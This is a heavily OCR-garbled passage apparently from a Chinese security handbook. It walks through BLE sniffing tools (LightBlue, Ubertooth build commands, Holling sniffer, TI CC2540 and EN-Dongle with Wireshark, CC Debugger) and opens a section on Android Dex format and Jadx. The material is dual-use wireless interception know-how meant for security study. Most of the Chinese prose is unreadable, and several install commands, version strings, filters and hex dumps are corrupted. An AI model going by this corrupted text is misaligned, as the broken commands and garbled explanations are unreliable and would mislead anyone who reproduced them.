11 Sent wost Buffer S0
(Host Buffer Sire)

on_Informat 1on

{Read Local Version Information)

ADDR
13 Revd Cosmand cw t!e |Dﬂ|1 BOD ADDR)
Sent Read Local ¥ 9 Commands
|:-..| Local Sup

o Commands )

¢ rés
Hovd Command Complete (Read Local Extendsd Features)
Sent Read Local Extended Features
Bovd Command Complete (Read Local Frtended Features)
SNt Read Lecal Extenord Foatures

na

Rovd Command Cospl t
SONT Wrile LE WOST SUPPOrte
Bcvd Ecmmand Coplete (Write o LE tost Supparted)
Sent Read Lecal Extended Foatures

Vo Commana © Read Local Extendes Features)

Slﬂﬂle Palring Hode)

t Rize

(L Reas White List Size)
4 SONT LE ABad BUTTEr SiZe

18 Bevd Command Complete [LE Rwad Buffer Size)

Sl 16 - 2RE: L6 (100.0%) - SIHNE 002

%A R E B LRI AR X BIFRA B 5 4 8E.

5.2.2.2.2 S FiMik app

EEES Deluli

FTEEARLFHIE, #H1TMUNRAY, LightBlue JRFBTE https:/github.com/Pluto-Y/Swift-LightBlue, %

0 "%
$J7F LightBlue, WREFEIEEITF:

RSS! f&

535 P

LightBiue

Peripherals Nearby
ames's Macbook Pro

U“!'Ic."lf"-T-"L'.'

\.firlual Ponphnrﬂs
ACV Gunship
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BEERER DT FH

© RGBRlEENRE:

- FTREGEE

527 PM
< Light Peripheral
Little Robots =
UUID: TEBOSA B34
Connected —

ADVERTISEMENT DATA

UUID: FODOFFCO-0451-4000-
B000-000000000000

Device Information
System ID

Model Number String

oy

B EFNET

- ENEFRIUUID

sese: F11:39 @ oM 4
< E— Hex
|

1B
uvuio: N

Connected

READ/NOTIFIED VALUES

Read again

DESCRIPTORS

U

X

PROPERTIES

Listen for notifications

Log



= x

o)

RIXHE:

eseco EHIT T _EF1:40 @ o3 M
< I Hex
|

vup:

Connected

READ/NOTIFIED VALUES

Read again Listen for notifications

00K WX

0000000000CC0000CO000000000

WRITTEN VALUES

Write new value 4____

DESCRIPTORS

RX

sharactenstic User De:

Log

sesco EEE T Ef1a0 [CR- B 3 LS

< 0x1001 Edit Value

Hex

S5AAFFFOOTSET

A N> |O
O | NM| oo | | m
Wl loo|lo | O|m

*

=
7= NSF

///// sy cu
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BEREREDNFH
- &EELog:
seeco EELN T L1140 O B4 WX
Close Log ﬁ
prumEs.sun

11:39:28.505 — Starting search for nearby peripherals
11:39:28.506 — GentralManager not an, delaying scan
11:39:28.517 — Bluetooth State: Powered On

11:39:28 582 — Starting search for nearby peripherals

BL100O

11:39:32.573 — Discovered nearby peripheral;
Braceli5-4787 (RS51: -93)

11:39:33.950 — Characteristic (2A23) read: <00000000
00000000=

11:39:34.100 — Characteristic (2A24) read: <43433235
34312054 43204d6f B4T56CE5>

11:39:34.340 — Characteristic (2A25) read: <32303135
2d382d32 37>

11:39:34.580 — Characteristic (2A26) read:
<HE32edd>

11:39:34.731 — Characteristic (2A27) read: <48617264
77617265 20526576 69736961 Gex

11:39:34.810 — Characteristic (2A28) read:
<hB322ed2>

11:39:35.061 — Characteristic (2A28) read: <7777772e
T475B6e65 72313638 2e636f6d>

11:39:35.301 — Characteristic (2A2A) read: <fe006578
70657269 6d656e74 616c>

11:39:35.450 — Characteristic (2A50) read: <=010d0000

001001=

11:39:35.842 — Stopping search for nearby peripherals
11:39:46.198 — Characteristic { ) read: <>
11:39:59.360 — Characteristic ( ) read: <000C0000

00000000 00000000 00000000 DO0OO000=

BE R https://www.jianshu.com/p/2bfde?2ba8a99

5.2.2.3 §$1¥IEMHIRE

B RG & B XHBLRE app HERE Android app IR REHITH, XBHIEMNTAR:
+  Ubertooth

+  Holling BLE sniffer

- NORDIC dongle 8(& /N8 (TI) CC2540

«  CC Debugger

5.2.2.3.1 Ubertooth

ERBGHSHNAMUNT, SGEFIERE. B0, Wireshark Bxsh. BEH TS https:/aithub.com/
greatscottgadgets/ubertooth, If & & # & B https:/github.com/greatscottgadgets/ubertooth/wiki/Build-

Guide,

a2

50

$—% . 1£139i2 libbtbb # Ubertooth TRZ A, FERE—LIRFZ M. HEFIFLAIM
FfEEFIRIG, LT Debian/Ubuntu (kali) FINE, MIREHEARFKIESRIRMILL,

e

AN

BUIRIERZBYEN


https://github.com/greatscottgadgets/ubertooth
https://github.com/greatscottgadgets/ubertooth
https://github.com/greatscottgadgets/ubertooth/wiki/Build-Guide
https://github.com/greatscottgadgets/ubertooth/wiki/Build-Guide

i

sudo apt-get install cmake Iibusb-1.0-0-dev make gcc
g++ Libbluetooth-dev \

pkg-config libpcap-dev python-numpy python—pyside
Python-qt4

FH . SAFRE libbtbbs

#wget
https://github.com/greatscottgadgets/libbtbb/archive/20
17-03-#R2.tar.gz -0 libbtbb-2017-03-R2.tar.gz
#tar xf libbtbb-2017-03-R2.tar.gz

#cd libbtbb-2017-03-R2

#mkdir build

#cd build

#cmake .

#make

#sudo make install

#sudo ldconfig

$£=4 &I Ubertooth tools.

#wget
https://github.com/greatscottgadgets/ubertooth/releases
/download/2017-03-R2/ubertooth-2017-03-R2.tar.xz -0
ubertooth-2017-03-R2.tar.xz

#tar xf ubertooth-2017-03-R2.tar.xz

#cd ubertooth-2017-03-R2/host

#mkdir build

#cd build

#cmake ..

#make

#sudo make install

#sudo ldconfig

$EPNL . LI Wireshark BTBB #1 BR/EDR #f, A F{E A Kismet IR IE F E & R E 1 Wireshark GUI
T oM AN, =175 Ubertooth A libbtbb 2R B EH R E 5 2 F W E. (ZE 4 cmake BY B F MAKE_
INSTALL_LIBDIR RRLME, BENIZEWAE Wireshark I EEAINIE, 5190 asn1.so F ethercat.so.

#sudo apt-get install wireshark wireshark-dev
libwireshark-dev cmake

#cd libbtbb-2017-03-R2/wireshark/plugins/btbb
#mkdir build

#cd build

#cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-1inux-
gnu/wireshark/libwireshark3/plugins ..

#make

#sudo make install
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SR . %% BT BR/EDR #fffo

#tsudo apt-get install wireshark wireshark-dev
libwireshark-dev cmake

#cd 1ibbtbb-2017-03-R2/wireshark/plugins/btbredr
#mkdir build

#cd build

#cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-1inux-
gnu/wireshark/libwireshark3/plugins ..

#make

#sudo make install

7\ . BERh Wireshark iz1788<: mkfifo /tmp/pipe ¥TFF Wireshark sth gk > &, mEBOAMN “8
BR®E &, 2t ‘W B, £ “€87 XFEFRAN “tmp/pipe” ; RERE, AERRERA, RE HF
8”7, 1ERIHHIETT ubertooth-btle:
ubertooth-btle -f -c /tmp/pipe

Wireshark 047 LA #1778

btle.data_header.length &gt; 0 ||
btle.advertising header.pdu_type==0x05

=R 43 THAE{E A3 2 B8 https://github.com/greatscottgadgets/ubertooth/wiki/Getting-Started 3%3% T ubertooth
one BN, it = LED IT=i#2R, EHF-MEEI LED (RST 1 1.8V) #=1i%PB Ubertooth BIHIETE T 4L,
416 LED (USBLED) =7 3R Ubertooth B LU USB it @i 7 s,

5.2.2.3.2 Holling BLE sniffer

BLE &% 27F 37,38,30 X 3 MUE#HTT/ #%, AMERE—MUEN %, BRNEREEX 3 MUERRIA #,
X LE BLE Sniffer A1 RpEMIARE—MUEREIE, HEZXIBEIT 3 MUBHEIE, &RET—MUEREIE,
B AT B I REIR A EIAEXMES HEILE, HABRKIBNR 3 MUBNEIRR T L RAX NEE, B21E2
SEFNRE, B0 BLE REERNZ, AN BLE REERILERNR, BT 2ME BgsE, H
EZIME FRE B ILEZRNIMERTEEN, XEMSSEERIBIENT 3 MAUEEIEN BLE Sniffer EEELE
#ERIPIEE, Holling BLE Sniffer NEFEA 3§ BLE &, [FIBTHMEY 37,38,39 X 3 MuBHNEIE. ZTABXER
HRFE#E http:/www.viewtool.com/product/BLE-Sniffer/.

5.2.2.3.2.1 iRk R
TEHARERMG (—BRT—F08) , Hig&E T USB LiEEEIBN, SERMEMHTETE,
BohEt, s “Start” %Hl, AEERILSEIIRDPFEEHIENILSEIT,
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R

T x

o)

—

5.2.2.3.2.2 REHRENTAR

REREOT , RERRERS I AxE "

EriaEllz= 2/ 2N HE mEERSSIEHR M2/ 2R E

3

' 3 ViewTool Hollonl BLE Sniffer
Operation !elpl RS
P EHY Y B0

Active MName Mac Addr RgSI Status Select
@ TAG FF:FF:90:01:E3:F8 -48 dBm  connected
& wmia CB:0F:10:43:B3:68 -40 dBm  disconnected ]
& LTHY ES:EA:A5:97:9A:44 -56 dBm  disconnected (]
0 E-Beacon_0ED10E FO:CT7:7F.0E:D1:0E -36 dBm  disconnected ]
€  UNKNOWN DEVICE TR34:E3:45:B5:F9 -36 dBm  disconnected ]

TEFRMESRIRETUNKNOWN DEVICE

|

. WkE, WRNEES
Ee: BecEsE, HNETHIE £ % BlwiresharkE R

fe. BERER NATMEe
W ST MATEie

Device Index: Wireshark Directory: rogram Files (x88)'Wireshark'\Wireshark exe |Find Wireshark

5.2.2.3.3 NORDIC dongle (EN-Dongle) SZ&EZEM{Y2% (TI) CC2540

NORDIC BB B 21 /A nrf 89 sdk B9 dongle, @ EN-Dongle, EIN{Y 28 (TI) CC2540 XFIRIE =M
SEEN , FESRAERRIBEENNRES, THaREERNEEMEsEREIRrhmEa M,
5.2.2.3.3.1 EHINEE (TI) CC2540 IFIERE

E—%. B “sniffer_fw_cc2540_usb.hex” [EHEF E CC2540 USB Dongle, F1E BB _E %22 SmartRF
Packet Sniffer IRz, FHARNBAIEZE  hitps:/wenku.baidu.com/view/0edbaac5daef5ef7bb0d3c0a.html, 1FE
15 SEAT BRIA B e RS2 A Yo
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54 $TFF SmartRF Packet Sniffer #i{f /5, 1% Bluetooth Low Energy 3 s Start"™'%,

#3 Texas Insturmnents Packet Sniffer EI_I_EI_'@

R Texas Packet Sniffer
INSTRUMENTS

2,163

Select Protocol and chip tvpe:

Bluetooth Law Energy -

Passible capturing devices:

SmartRFOSER + CC2540EM
(22540 USE Dongle|

Click Start button to launch Packet Sniffer:

[ Start | [ Exit
$B=3F: R Start FFIEREHIMEGE.
#Tms Instruments SmartRF Packet Sniffer Bluetooth Low Energy E"E

File %ettings Help
SETFID TCIE R

Capturing devics | Harin nehourshonl] Select fiekds | Packet details | Address bock | Display fiter | Time fins |

vethizing Lharnel: 37 (2402 MHZ) -
I Connect to Initiztor Address

Packet count=0 Error count: 0 Filter ott RF device: CC2540 | Channel: 37 [0:25]

£ Radio Configuration tab #EIH4)_E Connect to Initiator Address FIENEN ML, FBIULEFIRIEEN
A R IRFE TN S M 2 BIVEIEERE, IIRTEFEXMNED, HBISEFTIREEERE, S IRRBEY
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o)

AIfEIE L (37) BHIMSB—MEUEER; Ml #%, mWieRduRnT:

Hle Settings Help

ha@ml» nigy
P, [[ T (US)
10
1 =1
Time (us)
P (1 e a07
2 =67A97
Tirme as)
b (1 71248
3| -138745
Fonbr. 5
1_||-1032741
Time (us)
Pobe 1 Toarss <™
5 ||-1136476
Time (us)
Pbr || 104905
& ||-1241461
Tinne (us)
Pobe Il 101060 +
7 ||=1343321 | oxas
Fonbr. | Channel
8 ||=1440556 | _ox2s

Adv POU Header
Type Teadd Daadd IDU Length

Srand

£l 1 u 12
—]

U337 L 2B FULLA

Ady POU Header

e  Tihdd Puchdd DU

Seand

L
3 1 u 1

U337 126 FLLLA

Adv PDU leader

Type Tihdd Toechdd DU Length
L} 12

3 1

Scanf
03371 26FCCLL

D08 7CEEAZBAS3

Adv PDU licader
Type TxAdd PxAdd TIDU Length

0 0 0 13

0:B-1991C3AS0CE

Adua

AdveData

02 0l 05 03

02 FO FF

Adu PDU lieader

Type Twkdd PxAdd TDU Length

1] 0 o 12

(xE4994C3A30CE

AdvData

0z 01 05 03

02 F0 FF

CRC
_04876BBS

Adv PDU lleader

Type Twhdd RsAdd FDU-Length
0 0 o 13

0:B4904C3A80CE

Adua

AdwData

0z 01 05 03

02 F0 FF

CRC
_0x8765B8

RSl [ oo
(dbeny JI
57 || oK

Auv POU Heauen

Type Txhdd FxAdd PDU-Length

0 0 ] 13

0xB4994C3430CE

AdwData

0z 01 05 03

0z FO FF

CRC
_0xB876BB8

Adv PDU Headet
Type Txhdd FxAdd PDU-Length

Adua

] 0 o 13

0xE4904C3A50CE

Caphuring device  Mladio Configuration lsmml Packet details | Address book | Display fiter | Time line |

IlHIE-IUd MHz| >

EHERMNL, FEHENT:

File Settings Help

Dagor v g

Time (us}
270
=9AA7159

LA

=upe2Esy ||

LIRS (e
+0519

-0570903

Time {ue}
+1f44949
=11515857

307491

Time (us}

=11323345
Tinnwe: (ush

1202493
=12n25841 || nxnn

1, mn |

AnlwDala

02 01 05 03

02 FO FF

CRC

_0x8768B8

RS51
57 DK
RSSI FCs

7= NSFOC

Data Tpe
LZCAP-C

Data Header
I._LTI'J ll'!'ﬁN 5 nn P‘I‘l_'l'_[—LFrbg'r]l
1 100 0

_0x242020 ||_-56

CRC

Dala Type
LZCAP-T

_ Datallcader
LLID MESN SN ND PDU-Length
1 1 1 n

: ST L e L ..
LLID MESH SN MD DDU Length
1 U 1 U u

e
L L b T

e 2

Data Header
LLID NESH SN W™D POIT-Lengrh
il 0 0 0 1]

Data Type:
LECAP-C

: Data Header
LLID NESN SN HMD POU-Length
L 1 1 ] o

Nata Type
LACAP-

LLID HESH SN HMD IO
1 L

Laplunng dewice  Radin Configuratinn | Salect helds | Packst detals | Addess book | Dieplay titer | Time ine |

37 (2402 MH2) -]

B R kIR: https:/blog.csdn.net/zhuangjitongxue/article/details/49337445

//// 7y

=

o

us
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5.2.2.3.3.2 EN-Dongle
HEZER . ble-sniffer_win_1.0.1 1 Wiresharko

IXEh R MRt R 5
CP2102 IXzh
Wireshark
Sniffer

L% CP2102 3¥xzh:
fRE “CP210x_VCP_Windows.zip” , RE/RINTE, RIEAMKERERZE 32 (IRAT 64 AR,

. x64

1. xB6

M€ CP210xVCPInstaller_x64.exe
¥E CP210xVCPInstaller_x86.exe
™ dpinstxml

_| ReleaseNotes.txt

_| SLAB_License_Agreement_VCP_Windo...
4 slabvep.cat

i¥ | slabvep.inf

Wireshark 2% [EE TEZERIA],
224t Sniffer:
Sniffer REBIME, TERE, MESWE “ble-sniffer_win_1.0.1_1111_Snifferexe” BNENE1T “%

| Firmware
. plugins
L] ctypes.pyd
__| _hashlib.pyd

| _socket.pyd
| _ssl.pyd
|| ble-sniffer_win_1.0.1_1111_license.txt
|| ble-sniffer_win_1.0.1_1111 release_no...
©® blc—:nifferjwin_l.o.l_llllrsniffcr.exe l

ble-sniffer_win_1.0.1_1111_Sniffer.zip

% ble-sniffer_win_1.2_User Guide.pdf

| bz2.pyd

& library.zip
%] mfc90.dll
& Plugins.bat
[277 Plugins.exe
&8 Plugins.zip
__| pyexpat.pyd
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— NSFOCUS

HIRIBTT:

¥ EN-Dongle ZE#ZE1HENAY USB #20_E, FHik EN-Dongle &F Central 1 Peripherel BN S BESEEN,
WTFEPR:

FDong e E B HHL AYUSBIE O L
fTFTSniffer RAFHEAT R F0 i 53 47

e TN

EN-Dongle

@

~ ¥

TG

)

Central Peripherel

Wi “ble-sniffer_win_1.0.1_1111_Sniffer.exe” , B &h Sniffer, Sniffer Bshiae BahieE £ O & EER BLE 284,
MBI

[ cAble-sniffer_win_1.0.1\Sniffer\ble-sniffer_win_L1.0.1_1111_Sniffer.oxe = e
E v.1.8.1_1111

@47 & 4

78 dBn) .

FEPERBERRT Sniffer IREXAYERCZ: COM25, &&EFIFRFET Sniffer ELHMENEIR S BLE €8, R
%ﬁj\%u% “0” *D “1 ”»” o

57



7
7/
Ve
K
z
-
~
-7
-

BEREREDNFH

58

NGRS, %IF BLE 28, W TER:

[] CAble-sniffer win_L0.1\Sniffer\ble-sniffer win 1.0.1 1111 Sniffer.exe e [l la)- bl
HORDIC SFHI UCTOR SHIF THARE w.1.@.1_1111

inn infurnat ion unavailable

sque

Cpad F 3

Ay B s - L EEX e

N S : 62 dbn
it 4% Device e “Nordic_HRH™

AN “W BEh Wireshark, FFEAHIE :

and conn
sion
ion

ue

ENTER to s
1i

Fron -
will only follow advertizement
viswer for the i

# public name

randon
randon
. " :_HRM"
1;{ AN Cw

J& &1 Wireshark
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=

—

Q

it

B Eh Wireshark:

fe fot Yew Took e
eedAm BEXR Av»aT2 [@E eaqan e % &
Fiters bl [+] enprossion= Cioar 40y Save
No. Siaris Restagbion mmm—
B 0. 38104400 slave Master LE LL 59 Abv_IND
9 0. 30312200 slave MALTer LE LL 59 amw_TMD
10 0, 56651700 slave MASTEr LE LL 59 apv_1no
11 0, 57155300 slave Master LE kL 59 apv N0
12 0. 57577500 slave MASTEr LE LL 59 apv_Ino
13 0.73940600 slave Master LE &L 39 ADv_ino
14 0. 76238300 S1ave MASTEr LE LL 59 ADV_IND
15 0. 76305200 STave Master LE LL 59 ADV_IND
16 0, 24901800 slave Master LE LL 59 ADV_IND
17 0, 95372100 slave MasSTer LE LL 59 ADV_IND
18 0.95829300 slave Master LE LL 59 ADV_IND
19 1.13851400 sVave Master LE LL 58 Afw_IND
20 1.14345600 sVave MaEer LE kL 50 apv_1ne
21 1, 14810700 slave MasTer LE LL 59 Apv_IND
22 1.33320900 slave MasTer LE LL 39 AQY_IND
23 1, 33977700 shave master LE LL 39 ADY_IND
24 1, 38448900 S1ave MasTer LE LL 59 ADV_IND
25 1. 53000400 sTave MasTer LELL 59 ADv_IND e a
26 1, 53479100 Slave Master LELL 59 ADv_IND BEWFHa
27 1.53948500 Slave MasTer LE LL 59 ADV_IND
28 1.72002300 slave Master LE LL 59 ADV_IND
29 1. 72445400 slave Master LE LL 58 ADV_IND
30 1. 72880500 slave master LE kL 59 ADV_IND
31 1.91127900 slave Master LE &L 59 ALv_IND
32 1. 91561500 Slave MaSTEr LE LL 59 ADW_IND
33 1. 91984000 31ave masuer LE LL 59 ADV_IND
54 2, 10598000 slave masTer LE kL ¥9 ADY_IND
35 2,10872100 Slave Master LE L 59 ADV_IND
36 2,11385500 Slave Master LE LL 59 ADV_IND
37 2.29496300 Slave Master LE LL 59 ADW_IND
38 2. 20060700 Slave Mastar LE LL 50 Abv_TND
19 2. 30405400 Slave Master LE LL 59 ADV_IND
40 2, 48878400 Slave master LE KL 9 ADv_IND
41 2,49111600 5Tave Mazter LE kL 59 ADY_IND
42 2,49330000 STave Master LE kL 39 ADY_IND
\_ 43 2.67979800 slave master LE LL 59 ADV_IND o
. ™

% Frame 35: 59 bytes on wire (472 bita), 59 bytes captured (472 bits) on interface O
= wordic sue niffer meta

@ M Buetoom Low Energy LRk Laver (008), ... | FROMCK: 3377 * DEpaed: 3377 (100.0%)

PER— BLE & (XEMREN #EE ), BAWTZER, BI8JEER Wireshark XXM #EEHIDH

59



_

BEREREDNFH

il Captiring from \\\pipetmireshark nordic ble [ §RFLURET TR Lixy

He Edt Yew Go Cotwe gnadoe Ststcs Tekphooy Took jotemab  Heb
codm s BEXR2 Aa+»eTF2 EE aean 9% % 8
ﬂﬁi&—(ﬂmbﬂo waﬂpp‘,h )

No. Time Sowarce Destination Protocol Length Info
U VLiuLULiAs Srave  masies i 33 i _inis
5% 7 0.38753000 Slave Haster LE LL 59 ADV_IND
5 8 0.39273100 5lave Haster LE LL 59 ADV_IND
9 0.39764300 Slave Haster LE LL 59 ADV_IND

. & Frame 9: 59 bytes on wire (472 bits), 59 bytes caprured (472 bits) on fnterface O
s Wl‘"c BLE sniffer meta
rd: 23

g:;‘wg:ﬁﬂ counter: 6532 ZamnE. 8
0., = encrypted: No FiEl. CRUWIEES

BhE| oo Qe R, FHINEH
channel: 39 delta time¥F {58

rSSI (dem): -60
delta time {us end to start): 664
zrt 10 sur'l) 1160

ucesi Address: omsmﬁ
4 Packet Weader : 0x2140 (POU Type: ADV_IND, Txadd=false, muadoefalse) 1 iaBLE MY IELT
Advertis fng address: ©3:74:fbi20:30:9a (L3:74:Mb:20:3F :96)
= advertising pata b, EIXHAILL
= Device :a-e wor i c_kes HEE&TFHRMA
Length: 11 %
Type: Device Name (Ox09) BaE
Eﬁaigf* Davice Name: Wordic_mRs
S5 Appearance: Heart Rate Sensor: Heart Rate Belt
Length: 3
Type: Appearance {0xi3)
wpunnr_e: HEAFT RATE Sensor: Weart mate gelt (Ox0M1)
€1
e Lmq(h 2
tyne Flags (ox01)
.o = REnervesd: OO0
= Simultanecus LE and BR/EDE ©o Same Device Capable (Wost): false (0w00)
Simultanecus LE and BR/EOR To Same Device Capable (Controller): false (Ox00)
= BR/EDR NOU Supported: true (Ox01)
1. = if General Discoverable Mode: true (Ox01)
+9 = & vimited Discoverable Hode; false (Ow00)
16-bit Service class wuios
Length: 7
Type: 16-BIt Sérvice Cliss UUIDS (Ow03)
WID 16: Meart Rare (0x180d)
MIEn 1R: Rarrary Servics (el BOF)
D 16: Device Information (Oxi1&0a)

0000 1906 34 OL B2 19 06 02 01 27T 3Ic O OO B 02 00 ..4..... ."<.....
aFEs OO0 06 A6 bhe 89 Ra A0 21 83 3F 30 Fh 74 e Ob 09 da i

0020 6f 72 64 69 63 5F 48 52 4d 02 19 41 03 02 01 06 ordic He M. .A..,.

0030 07030418 O0F 180218 ef a6 FO 0 ..., ...

@ ¥ l.\poeinrestark_nodc_ble: <ive Gotur... | Packets: 2397 - Deplryed: 2397 (100.0%)

B SIE: https:/www.cnblogs.com/aikm/p/5021220.html

5.2.2.3.4 CC Debugger

ZHEERN RN FE%EE SmartRF Packet Sniffer &5 #3E 0] LU X — 8 S 12 SR 1T

BLTmS P

1. CC Debugger Y 2 1 9 5IHIFEE%21#%, H AR5 CC254%,
2. P22 5|H—EENMLHIBE, TR THRK,

FERin

% %

(=)

7 1: CC-Debugger {AE23#1 SmartRFO4EB {5 E 23X 71?

AL F 2P BT EME CC-Debugger (TESAFABIE—PRE, X3FER, BEFU

=/NAE:
1. i SHRER

(1) SmartRFO4EB SSM/E2 #5895 /8 CC2430. CC2530. CC2531. CC2540, A3#F CC2541,

60

(2) CC-Debugger ZIFBIBFIEE 2%, BRTH 0deb HBEMMBEN FEINEES, EaILUE

CC R A 880
2. BEBSEREBETREBERE
(1) SmartRFO4EB {7 E28 RAEHERE 3.3V BAFiRFEB[E, WIRIBITIEREIF 3.3V &0, RIRERKEINDH. B

W, *

BEANT

g SPI 24T


https://www.cnblogs.com/aikm/p/5021220.html

i

=

BARECINE 2 BIASE 9 FIZMEERY, BER 3.3V

(2) CC-debugger fhE23MI37 15 55 BARIREBE, M 1.2V 2 3.6V 195 #F, 4 CC-Debugger BETS ST H5X A TEAY
BARBER, XZEF7 CC-Debugger 5BmS A Z BN T 55 BIFHEIE N SN74AVCAT245DR,

3. FTRANKINERE

(1) FEATBY SmartRFO4EB R EH E2EITIEE, MBI IARMGET LB ER L FIX, MUMKiEE Flash
Programmer Bi%/RE hex X {4+,

(2) CC-Debugger BT BB H1 SmartRFO4EB HHEIMITHEESN, BB RAB NI EITHEE, #/A CC-Debugger
TERMIN A HTANIR L HY USBDongle MY AT B X3, CC25xxUSBDongle YEAMMY A ATET, I
Y TE, REEER USB, FhalLUBIT PacketSniffer 3E, M{EA CC-Debugger BRIV DA, FEE
ERBERSF, $AERE SP,

% BEFTAL, AR RMFMRFINERRE FTE=H:
1. &AF M CC-Debugger {HE 2 BAMELISE 2 FIHEH Target Voltage, & B BENREERM, —PERTF

=AER 10Pin, Ma&R%E DC DD RESET GND 855, FAMWIAIRHERE VCC i, B LIBMHL
¥ CC-Debugger BARZOIRIEE 2 BIFISE O flfEHR:, BOXTHECHE,

2. BOBIENIRFFEEIE, CC2540 % CC RIS FEEE QFN HE, XMHHEFTIENIEERZH
MR
3. TIRRERHE, EEEMNMRZE, BE—TEERENRRE, ARMERRIFIESRCAE, BHITTH
_iﬁ%ﬂzo
FEL)E 3 WAREIRE, ¥ 64 (i RFAG?
&: CC-Debugger @ #F Win7 64 (L RHM, BXT N VIREITERF . B M= Boh &% CC-Debugger IR T
SmartRF Studio. Flash Programmer. IAR For 8051. PacketSniffer %,
WRRHBLELE, CC-Debugger eI RBEMIN LR, BRIKEFEEST, AEFHEBERNSH
CC-Debugger, FohE#FIKsNIZR, Flash Programmer 24 B 5 B shiZ R AL T (ERINEE R ). C:\Program

Files\Texas Instruments\SmartRF Tools\Drivers\cebal ; IAR For 8051 i+ B SMIKsHEFAIT (BRINEER)
C:\Program Files\IAR Systems\Embedded Workbench 6.0\8051\drivers\Texas Instruments,
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i

i e

BHERE APP —REBTIZIEEERE, AR BILTANINERRE, MRE TAEERER, RIRERSH.

HTF APP FFA AR AY, SOEEIGEEXNEREE, e BB EHEE APP &1; Bt
S APP #1722 el LUREXE] ¢b§&@1§

DT APP BIBHE, FEMUT/ LN AEERDT:
EE TN GRS
BRERBAEH T,
SIEEEAFENTE R
ZEFPEFERISUREIE,
HIEFHEL S,
BERS.
TETEN Android f 10S RAHRARFE (APP) HIEEDH %
6.1 Android

Android 2ZZRME0T :

Application
Contact Phone Browes
Application Framework
Activity Manager Window Manager Content Providers View System

Package Telephony Resource Location Notification
Manager [LELEE Manager Manager Manager

Libraries Android Runtime

Wedia .
SC =
Framework Olite ~ Core Libraries

OpenGL ES FreeType WebKit Dalvik Virtaal

Machine

Surface Manager

SGL S5L libe

OS{Linux Kernel)
Flash Memory Rlndrr[lP{]

Display Driver Camera Driver i
Driver

Keypad Driver 'WiFi Driver Audio Driver

DITAEBIHRN ZSEE &,
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6.1.1 Dex MR

Android AR EIHI T Dex 1828,

oooRoE B
oe000020;
oo000030;

Hik
A

000000ED
000000F0:
00000100:
LU RTH
o0000120:
00000130:
CULLEY B
CULLEEY
UL Y
LML g
0000K180:
00000190:
0O0001AD:
00000160:
000001CH:
oo0001Dd:
OO00MED:
oo00dIFd:
LUl H

(IR
DO0DO2LD:
00000250
0o00260:)
0o000270;
00000280;
ooo0K270:
oooDezNg:
00000ZED:

(UL P
00000300
0o000310:
0000320

[T TR LA T T

"z

H? HA AR 53 07 BB BB %Y B2

49
61
an
&R
LY
L1

cc

A0 A
on
oo
on
[

0
BO
ny
L5
i
"
10
67
]!}

.IRBBHHNIIII;IIBIIBBBE

L4

L L]
aF
L1
&%
2F

[ F3
F
&1

o7
3]
12
il
B
S
58

69, A%, 0. 03, AR, 25, 24, 0. AT, 29,
', GF..00:01 00 07 BE B0 07 01 00 07

HC &8
6F 2F
& 6R
I
Mo
LI
Th 72

69

(19
Iz
Th
1z
(4
5B
(13

&7

ap an By o1

69
&1
6F
6E
2F

» &R

a8
&R
3B

GE

(1]
ae
re
6
61
L1
o1
o

18 D8 88 55 26 A4 F1 30 C5 47 F5 FA D2 A2 OF 86
3@ 83 00 00 70 00 00 00 78 54 34 12 00 00 00 00
00 00 00 00 90 02 00 00 10 A6 A0 AB 70 00 00 00
07 00 00 A8 BA 00 00 00 0h 00 B0 BB CC 0D 00 OO

15
Th
&E
&1
£,
&1
L1

02 00 00 07 DE 00 0D OO 02 01 0D
62 09 Eh 02 01 01 98 03 0D 00 00

oo
on
an
L1
m

oo 70
o0 03
an m
un B
e m
(LU
00 Ch
o0 0o
00 "

oo
oo
an
m
*n
1)
(]
20
i)

L]
oo
an
nn
Ll
uy
oo
oo
(i)

n2
oy
FLC
L]
L]
By
03
L)
90

BENREFNEHREES

dex. 035 495 [
ﬁusﬂﬂﬂﬁ@i«&

-| struet DaxSiringld {
wd stringlatalfE;

|00 10 NexStr ingld |

j%xr?n-:m.u

struet DexTypeld {

wi  deseriptorlin:

Emu'r‘n.-.v,..n..r.l I

wewfinilt

stract DaxPratald |
W shertylie:
i raturnTypalde;
wl  paranstars0fE;

MUBRGE1 TR E4E, Dex KRBT AN T

ot Duxlwader |
ul magie[8); S ineluder varzion ssbar of
ul cheskom; Jv adlar3? chackesus of

ul  sigmatars[RSHALDigertlan]: /o SHA-1 hash o

w i /% Lemgth of envive fils v/

A% sffsen s start of ment sestion v/

]Ammﬂk » SR DexFa eldld |

ellu. java. .l
[[[ -LHello;..
Ljaua!ln:‘Frintst

rean; . .Ljava/1an
g/ihject ;. Ljava
flang/System; . .0

UL..[Ljauwa
flang/String; . F

riruct DexTypaluem |
w? typeldx;
tH

ud magdlEf:
W wlringTdiSice. cirecl DecFieldld |
W wlringhOfe, o claxsTds
Wl LypeTidedice. @ bypelds:
typaldalis; ul nameld:
ﬂ protoldsSize; I
W fi i /
w i | Moo A DAFFRE » 28005 T DaxMarhodld
o iedlissing struct Desllethodld
whmethedldstti T,
uh classlafsSize: B
ut classletsdfe: WC Bliathe
W detaSize; "
W datalfE, :
¥i v
¥ | Moot 2cFF R o Bowt T DanClassles |
stract DenClussDef {
wl classldn: /% index into typelds Bor this class v/
Wl aecessFlags:
wl superelassIdes/% index ints typelds for superclass v/

ui
u
ul
ud
ud

snterfacesDEE: /% f1le offzet to DexTypelizt ®f
sourceFalalde: /® sndex inko stringlds Eor zource E1le naae &
armatabianallEE 6 File afBratl bo annabatians_dizactary_thas 37
elagalulelff; /% File offset to cless_deta_ites &/
stalieValuesDfF /& file offset Lo DexBncodeddrs ay */

oo .main. .oukt._p

struet
DexlapTres {

ztruet DeeTypalize |
wl mize:
DexTypelues List[i]:

w typec
o unused:

uf zuze:
wt offaet,

53 8
REEHFIHNEBSSNE Y ITMEN TSR
Androfd ST \dalvik\libdex\Dexfila.h

LLZE

W otruen Destiplist
i size;

DentlapTres list[1]:

TERT T Android FEDEXI 8,

e S
e R S N T

= /IR https://blog.csdn.net/qq1084283172/article/details/53782305

BAEH dex X I, & % Android B 5 Wik https:/source.android.com/devices/tech/dalvik/dex-format 5
FIRBAREEEE AR,
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i

6.1.2 Jadx

Jadx XN TAFILUR4RIE apk A java J57ED, FRLAIRA TR OB RIGER TR S U T2 21

|l jncin-q Gk
I WE BN TH &R

Ralses oo (a[Es

4
%5 agupe ok @ con. xinmi. reurer. seesunt. Login Loginfonstants 3

